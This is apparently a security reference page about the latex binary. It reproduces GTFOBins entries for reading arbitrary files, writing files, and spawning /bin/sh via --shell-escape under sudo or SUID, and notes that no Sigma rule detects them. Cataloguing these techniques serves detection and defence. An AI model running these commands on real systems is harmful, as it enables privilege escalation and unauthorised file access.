Identifier / Programs / Linux and Unix
latex
Compile a DVI document from LaTeX source files. tldr-pages
GTFOBins shell 1 ATT&CK technique 3 documented commands
How latex is abused
shell T1059.004 Command and Scripting Interpreter: Unix Shell
--shell-escapeEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for latex.
3 documented commands
file-read unprivileged, with sudo, as SUID
The read file will be part of the PDF output.
latex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}'
strings texput.dvifile-write unprivileged, with sudo, as SUID
The file can only be written in the current directory, and the .tex extension is mandatory.
latex '\documentclass{article}\newwrite\tempfile\begin{document}\immediate\openout\tempfile=output-file.tex\immediate\write\tempfile{DATA}\immediate\closeout\tempfile\end{document}'shell unprivileged, with sudo, as SUID
latex --shell-escape '\immediate\write18{/bin/sh}'None of the 3 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for latex. The identifier reads the line of each that runs latex.
What detects it
Everyday use
Compile a DVI document
latex source.texIdentifyCompile a DVI document, specifying an output directory
latex -output-directory=path/to/directory source.texIdentifyCompile a DVI document, exiting on each error
latex -halt-on-error source.texIdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.